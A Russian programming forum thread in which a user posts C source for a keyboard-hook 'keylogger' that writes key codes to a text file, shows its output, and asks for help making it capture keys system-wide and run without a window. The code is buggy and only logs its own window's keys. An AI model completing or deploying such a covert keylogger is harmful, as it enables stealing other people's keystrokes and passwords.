Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 31.01.2011, 08:08   #1
Dimarik
Форумчанин
 
Аватар для Dimarik
 
Регистрация: 18.04.2009
Сообщений: 688
По умолчанию keylogger

Код:
#include <windows.h>
#include <winUser.h>
#include <stdio.h>
/*WINUSERAPI HHOOK WINAPI SetWindowsHookEx(int Ihook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThread);

Ihook - тип хука
lpfn - указатель на процедуру хука
hmod - либо указывает на dll либо NLL если процедура внутри кода
dwThread - номер потока в котором находится процедура хука

WINUSERAPI BOOL WINAPI UnhookWindowsHookEx(	HHOOK hhk);//удаляет хук, аргумент - хэндо установденного ранее хука*/

HINSTANCE hInst;
HHOOK hHook;
HANDLE hFile;

LRESULT CALLBACK HooksWndProc(HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT lParam);

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{//HINSTANCE hInstance - дескриптор, который пристраивает Windows запущенному приложению
	HWND hMainWnd;  
	char szClassName[] = "MyClass";
	MSG msg;
	WNDCLASSEX wc;
	
	// Заполняем структуру класса окна
	wc.cbSize        = sizeof(wc);		
	wc.style         = CS_HREDRAW | CS_VREDRAW;
	wc.lpfnWndProc   = (WNDPROC)HooksWndProc;//указываем на функцию, которую потом вызовет винда
	wc.cbClsExtra	 = 0;
	wc.cbWndExtra    = 0;
	wc.hInstance     = hInstance;
	wc.hIcon         = LoadIcon(NULL, IDI_APPLICATION);
	wc.hCursor       = LoadCursor(NULL, IDC_ARROW);
	wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
	wc.lpszMenuName  = NULL;
	wc.lpszClassName = szClassName;
	wc.hIconSm       = LoadIcon(NULL, IDI_APPLICATION);

	// Регистрируем класс окна
	if (!RegisterClassEx(&wc)) {
		MessageBox(NULL, "Cannot register class", "Error", MB_OK);
		return 0;
	}
	
	// Создаем основное окно приложения
	hMainWnd = CreateWindow( 
		szClassName, "A Hello1 Application", WS_OVERLAPPEDWINDOW,
		CW_USEDEFAULT, 0, CW_USEDEFAULT, 0,
		(HWND)NULL, (HMENU)NULL,
		(HINSTANCE)hInstance, NULL
	);
	
	if (!hMainWnd) {
		MessageBox(NULL, "Cannot create main window", "Error", MB_OK);
		return 0;
	}

	// Показываем наше окно
	ShowWindow(hMainWnd, nCmdShow); 
//	UpdateWindow(hMainWnd);

	// Выполняем цикл обработки сообщений до закрытия приложения
	while (GetMessage(&msg, NULL, 0, 0))  {
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return msg.wParam;
}

LRESULT CALLBACK HooksWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{


	switch (msg)
	{
	case WM_CREATE:
		hFile = CreateFile("перехват.txt", GENERIC_WRITE, 0,NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);//СОЗДАНИЕ ФАЙЛА! доработать
		hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) CallWndProc,
			NULL, GetCurrentThreadId());//GetCurrentThreadId - указывает номер потка, в котором находится процедура хука
		return 0;

    case WM_DESTROY:
		UnhookWindowsHookEx(hHook);
		CloseHandle(hFile);
		PostQuitMessage(0);

		return 0;

	default:
		return DefWindowProc(hWnd, msg, wParam, lParam);
	}

	return 0;
}

LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT lParam)
{
	char cBuffer[0x80];
	DWORD dwNumberOfBytesWritten;

	if (nCode < 0)
		return CallNextHookEx(hHook, nCode, wParam, NULL);//???????????
	else
		if(nCode == HC_ACTION)//если первый аргумент принимает значение HC_ACTION, то процедура хука должна обрабатывать сообщение
		{
			/*typedef struct tagKBDLLHOOKSTRUCT {
    DWORD   vkCode;
    DWORD   scanCode;
    DWORD   flags;
    DWORD   time;
    ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
*/
			//записываем в файл информацию о сообщении
			sprintf(cBuffer, "nCode - %08x", nCode);
			WriteFile(hFile, cBuffer, 17, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "wParam - %08x\n", wParam);
			WriteFile(hFile, cBuffer, 19, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "PCWPSTRUCT->vkCode - %08x\n", lParam.vkCode);
			WriteFile(hFile, cBuffer, 31, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "PCWPSTRUCT->scanCode - %08x\n", lParam.scanCode);
			WriteFile(hFile, cBuffer, 31, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "PCWPSTRUCT->flags - %08x\n", lParam.flags);
			WriteFile(hFile, cBuffer, 32, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "PCWPSTRUCT->dwExtraInfo - %08x\n", lParam.dwExtraInfo);
			WriteFile(hFile, cBuffer, 29, &dwNumberOfBytesWritten, NULL);
			return CallNextHookEx(hHook, nCode, wParam, NULL);
		}


}

Последний раз редактировалось Dimarik; 31.01.2011 в 08:17.
Dimarik вне форума Ответить с цитированием
Старый 31.01.2011, 08:15   #2
Dimarik
Форумчанин
 
Аватар для Dimarik
 
Регистрация: 18.04.2009
Сообщений: 688
По умолчанию

МММММММММММdwExtraInfo - 7ffdf6cc
МММММnCode - 00000000 wParam - 00000042
vkCode - 00300001
ММММММММММММscanCode - 001afdd8
ММММММММММPflags - 001afd98

МММММММММММdwExtraInfo - 7ffdf6cc
МММММnCode - 00000000 wParam - 00000042
vkCode - c0300001
ММММММММММММscanCode - 001afdd8
ММММММММММPflags - 001afd98

МММММММММММdwExtraInfo - 7ffdf6cc
МММММnCode - 00000000 wParam - 00000043
vkCode - 002e0001
ММММММММММММscanCode - 001afdd8
ММММММММММPflags - 001afd98

в итоге такое написало в файле. Причём сами клавиши - это переменная wParam, а что тогда пишется в структуре KBDLLHOOKSTRUCT?
И ещё вопрос. Мне этой программой надо перехватывать события мышки. Для этого нужно отдельную функцию писать или же в этой можно написать?
Dimarik вне форума Ответить с цитированием
Старый 31.01.2011, 08:51   #3
Dimarik
Форумчанин
 
Аватар для Dimarik
 
Регистрация: 18.04.2009
Сообщений: 688
По умолчанию

Здесь имеется еще одна проблема. Осуществляется перехват нажатых клавиш, но только тех, которые были нажаты в этом окне.
Dimarik вне форума Ответить с цитированием
Старый 31.01.2011, 11:46   #4
Dimarik
Форумчанин
 
Аватар для Dimarik
 
Регистрация: 18.04.2009
Сообщений: 688
По умолчанию

Пробовал исправить то, что не работает перехват вне окна. Для этого сделал так:
Код:
#include <windows.h>
#include <winUser.h>
#include <stdio.h>
/*WINUSERAPI HHOOK WINAPI SetWindowsHookEx(int Ihook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThread);

Ihook - тип хука
lpfn - указатель на процедуру хука
hmod - либо указывает на dll либо NLL если процедура внутри кода
dwThread - номер потока в котором находится процедура хука

WINUSERAPI BOOL WINAPI UnhookWindowsHookEx(	HHOOK hhk);//удаляет хук, аргумент - хэндо установденного ранее хука*/

HINSTANCE hInst;//??????????????
HHOOK hHook;//??????????????
HANDLE hFile;//??????????????

LRESULT CALLBACK HooksWndProc(HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT lParam);
///////////////////////////////////////////////////////////////////////////////////////////////
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{//HINSTANCE hInstance - дескриптор, который пристраивает Windows запущенному приложению
	HooksWndProc(HWND_BROADCAST,WM_CREATE, NULL, NULL);
}
///////////////////////////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK HooksWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{


	switch (msg)
	{
	case WM_CREATE:
		hFile = CreateFile("перехват.txt", GENERIC_WRITE, 0,NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);//СОЗДАНИЕ ФАЙЛА! доработать
		hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) CallWndProc,
			NULL, GetCurrentThreadId());//GetCurrentThreadId - указывает номер потка, в котором находится процедура хука
		return 0;

    case WM_DESTROY:
		UnhookWindowsHookEx(hHook);
		CloseHandle(hFile);
		PostQuitMessage(0);//перемещает сообщение в очередь, связанную с нитью, которая создала окно
		//и вполнить возврат, не ожидая ответа
		//сообщения, которые находятся в очереди, могут быть выбраны путём вызова функций GetMessage, PeekMessage
		return 0;

	default:
		return DefWindowProc(hWnd, msg, wParam, lParam);
	}

	return 0;
}

LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT lParam)
{/*если (nCode==HC_ACTION) то процедура хука должна обрабатывать сообщение
 в противном случае мы должны передать сообщение на обработку следующему хуку в цепочке
 при помощи вызова функции CallNextHookEx() и вернуть значение, возвращаемое этой функцией
 
 если второй аргумент не равен нулю, то сообщение послано текущим процессом
 
 наибольшие интерес представляет третий аргумент, которой является структурой typedef struct tagCWPSTRUCT,
 в которой есть поля
 LPARAM lParam;
 WPARAM wParam;
 UINT message;
 HWND hwnd;

 первое поле lPAram перехватываемого сообщения, второе поле- wParam перехватываемого сообщения
 третье поле - номер сообщения
 четвёртое - хэндл окна, которому послано сообщение
 */
	char cBuffer[0x80];
	DWORD dwNumberOfBytesWritten;

	if (nCode < 0)
		return CallNextHookEx(hHook, nCode, wParam, NULL);//???????????
	else
		if(nCode == HC_ACTION)//если первый аргумент принимает значение HC_ACTION, то процедура хука должна обрабатывать сообщение
		{
			/*typedef struct tagKBDLLHOOKSTRUCT {
    DWORD   vkCode;
    DWORD   scanCode;
    DWORD   flags;
    DWORD   time;
    ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
*/
			//записываем в файл информацию о сообщении
			sprintf(cBuffer, "nCode - %08x", nCode);
			WriteFile(hFile, cBuffer, 17, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "wParam - %08x\n", wParam);
			WriteFile(hFile, cBuffer, 19, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "vkCode - %08x\n", lParam.vkCode);
			WriteFile(hFile, cBuffer, 31, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "scanCode - %08x\n", lParam.scanCode);
			WriteFile(hFile, cBuffer, 31, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "Pflags - %08x\n", lParam.flags);
			WriteFile(hFile, cBuffer, 32, &dwNumberOfBytesWritten, NULL);
			sprintf(cBuffer, "dwExtraInfo - %08x\n", lParam.dwExtraInfo);
			WriteFile(hFile, cBuffer, 29, &dwNumberOfBytesWritten, NULL);
			return CallNextHookEx(hHook, nCode, wParam, NULL);
		}


}
Dimarik вне форума Ответить с цитированием
Старый 31.01.2011, 13:01   #5
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

ниасилил, кидайте бинарник
Нет, ну правда..
yuran666666 вне форума Ответить с цитированием
Старый 31.01.2011, 16:03   #6
Dimarik
Форумчанин
 
Аватар для Dimarik
 
Регистрация: 18.04.2009
Сообщений: 688
По умолчанию

http://zalil.ru/30431087
это на *.cpp файл. Просто весь проект оч много весил
Dimarik вне форума Ответить с цитированием
Старый 31.01.2011, 16:25   #7
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

проект не надо - надо бинарник, мне нечем компилить это кодес
Нет, ну правда..
yuran666666 вне форума Ответить с цитированием
Старый 31.01.2011, 17:30   #8
Dimarik
Форумчанин
 
Аватар для Dimarik
 
Регистрация: 18.04.2009
Сообщений: 688
По умолчанию

Вот всё. Но именно файл, куда записывалась информация о нажатых клавишах пустой, потому что после моего переписывания кода (а я попылатся сделать так чтобы программа работала без создания окна, потому что для keylogena не нужно окно)), программа перестала их перехватывать (криво я написал, но понять что не так не могу, точнее понимаю что ошибка в функции WinMain), но как ее переписать не знаю. Короче вот ссылка http://zalil.ru/30431613

А вот моя горе-функция:
Код:
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{//HINSTANCE hInstance - дескриптор, который пристраивает Windows запущенному приложению
	HooksWndProc(HWND_BROADCAST,WM_CREATE, NULL, NULL);
}
Весь код залит по ссылке в моём предыдущем посте.
Dimarik вне форума Ответить с цитированием
Старый 31.01.2011, 18:36   #9
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

Обсмотрю чуть позжее
Нет, ну правда..
yuran666666 вне форума Ответить с цитированием
Старый 31.01.2011, 19:09   #10
Dimarik
Форумчанин
 
Аватар для Dimarik
 
Регистрация: 18.04.2009
Сообщений: 688
По умолчанию

Ок, жду. Только если не трудно, поподробней коммент сделай, как сможешь. Заранее спасибо.
Dimarik вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
:::Keylogger::: doniyor Общие вопросы Delphi 15 02.03.2012 19:56
keylogger DeDoK Общие вопросы Delphi 15 06.06.2010 00:15
Elite Keylogger 4.1 From Heaven Софт 8 18.02.2009 22:30